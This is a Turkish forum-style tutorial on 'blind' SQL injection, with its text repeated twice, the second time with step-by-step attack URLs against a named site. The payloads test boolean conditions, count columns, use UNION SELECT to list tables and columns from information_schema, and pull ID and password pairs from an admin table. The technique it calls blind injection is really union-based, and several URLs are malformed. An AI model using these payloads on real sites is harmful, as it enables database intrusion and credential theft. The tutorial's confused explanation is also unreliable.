SQL Blind İnjection Nedir?
Sql blind injection deneme-yanılma yöntemi ile sitenin değişime verdiği tepkileri göz önüne alarak
veritabanı bilgilerini görüntülememize olanak sağlar.
SQL injection ile arasındaki farkı ele alırsak SQL injectionda 1=1 2=2 gibi kesin doğru ifadelere
sorguya sızma tarzı kullanılıyordu SQL blind injectionda ise 1=0 1=2 4=4 gibi eşitlik olmayan
ifadeler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere göre saldırıya devam edilir.
örnek; url
Bu url sql tarafında 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler
saldırgana ipucu verecek.
"Blind Sql Injection" Nasıl Uygulanır ?
Örnek;
Sorgu1: SELECT Username FROM users WHERE userid=1
Cevap : M3TA
Sorgu2: SELECT Username FROM users WHERE userid=121
Cevap :
Yukarıdaki örnekte görüldüğü gibi database de userid=1 de bir kullanıcı var userid=121 de kullanıcımız yok.
Yaptığımız "True" değerini yakalayabilmek. Sorgu1 de bunu sağlamış olduk.
Bundan sonra yapılması gereken görülen cevaba bakarak sorgu üzerinde oynamalar yapılması.
1.) Değerleri test edelim.
Yukarıdaki işlemde ID değerinin Sonuna 1=1 , 1=0 yazdık bu sayede siteden 1=1 ise ve 1=0 ise ne olacağını
istedik. 1=1 yaptığımızda site kendi sayfasında yani normal olarak açılır ama 1=0 yaptığımızda başka bir
sayfa gösterir.
2.) Kolon sayılarını bulma.
Kolon sayıları bulunurken sayfa değişimleri kullanılır ".php?id=1+and+1=1+order+by+1" şeklinde kullanacağız.
sayıyı arttırıp hangi sayıda sayfa değişti ise kolon sayımız o çıkan rakamdır ben 6 olarak varsayıyorum.
3.)Sorgu oluşturma.
Burada 1=1 Eşitliğinin Yerine 1=0 Eşitsizliğini Kullanacağız.1=0' dan Sonra "union+select+0,1,2,3" Yazıyoruz.2 Numaralı Kullanacağımızı Varsayıyorum.
4.)Tablodan veri çekimi
Tabloları Çekmek İçin 2 Numaralı Kolonu Kullanacağız.Normal Sql Injectionda Olduğu Gibi Devam Edelim.
5.) Veri çekme
Buradada Normal Sql Injection' da Olduğu Gibi Devam Ediyoruz.Ben Admin Tablosunun Çıktığını Varsayıyorum.
6.) Kolonlardan veri çekelim
Evet Admin Tablosundan ID ve Password Kolonları Çıktığını Varsayıyorum.ID ve Password Kolonlarının Değerlerini Öğrenelim.Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.
Sql blind injection deneme-yanılma yöntemi ile sitenin değişime verdiği tepkileri göz önüne alarak
veritabanı bilgilerini görüntülememize olanak sağlar.
SQL injection ile arasındaki farkı ele alırsak SQL injectionda 1=1 2=2 gibi kesin doğru ifadelere
sorguya sızma tarzı kullanılıyordu SQL blind injectionda ise 1=0 1=2 4=4 gibi eşitlik olmayan
ifadeler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere göre saldırıya devam edilir.
örnek; url
Kod:
www.thtm3ta.com/index.php?=12'and 1=2
Bu url sql tarafında 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler
saldırgana ipucu verecek.
"Blind Sql Injection" Nasıl Uygulanır ?
Örnek;
Sorgu1: SELECT Username FROM users WHERE userid=1
Cevap : M3TA
Sorgu2: SELECT Username FROM users WHERE userid=121
Cevap :
Yukarıdaki örnekte görüldüğü gibi database de userid=1 de bir kullanıcı var userid=121 de kullanıcımız yok.
Yaptığımız "True" değerini yakalayabilmek. Sorgu1 de bunu sağlamış olduk.
Bundan sonra yapılması gereken görülen cevaba bakarak sorgu üzerinde oynamalar yapılması.
1.) Değerleri test edelim.
Kod:
www.thtm3ta.com/index.php?id=1+and+1=1
www.thtm3ta.com/index.php?id=1+and+1=0
Yukarıdaki işlemde ID değerinin Sonuna 1=1 , 1=0 yazdık bu sayede siteden 1=1 ise ve 1=0 ise ne olacağını
istedik. 1=1 yaptığımızda site kendi sayfasında yani normal olarak açılır ama 1=0 yaptığımızda başka bir
sayfa gösterir.
2.) Kolon sayılarını bulma.
Kolon sayıları bulunurken sayfa değişimleri kullanılır ".php?id=1+and+1=1+order+by+1" şeklinde kullanacağız.
sayıyı arttırıp hangi sayıda sayfa değişti ise kolon sayımız o çıkan rakamdır ben 6 olarak varsayıyorum.
Kod:
wwww.thtm3ta.com/index.php?id=1+and+1=1+order+by+1
3.)Sorgu oluşturma.
Burada 1=1 Eşitliğinin Yerine 1=0 Eşitsizliğini Kullanacağız.1=0' dan Sonra "union+select+0,1,2,3" Yazıyoruz.2 Numaralı Kullanacağımızı Varsayıyorum.
Kod:
www.thtm3tacom/index.php?id=1+and+1=0+union+select+0,1,2,3
4.)Tablodan veri çekimi
Tabloları Çekmek İçin 2 Numaralı Kolonu Kullanacağız.Normal Sql Injectionda Olduğu Gibi Devam Edelim.
Kod:
www.thtm3tacom/index.phpid=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+information_schema.tables
5.) Veri çekme
Buradada Normal Sql Injection' da Olduğu Gibi Devam Ediyoruz.Ben Admin Tablosunun Çıktığını Varsayıyorum.
Kod:
www.thtm3tacom/index.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+information_schema.columns+where+table_name='61646d696e
6.) Kolonlardan veri çekelim
Evet Admin Tablosundan ID ve Password Kolonları Çıktığını Varsayıyorum.ID ve Password Kolonlarının Değerlerini Öğrenelim.Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.
Kod:
www.thtm3tacom/index.php?id=1+and+1=1+union+select+0,1,concat(ID,0x3a,Password),3+from+admin
Son düzenleme: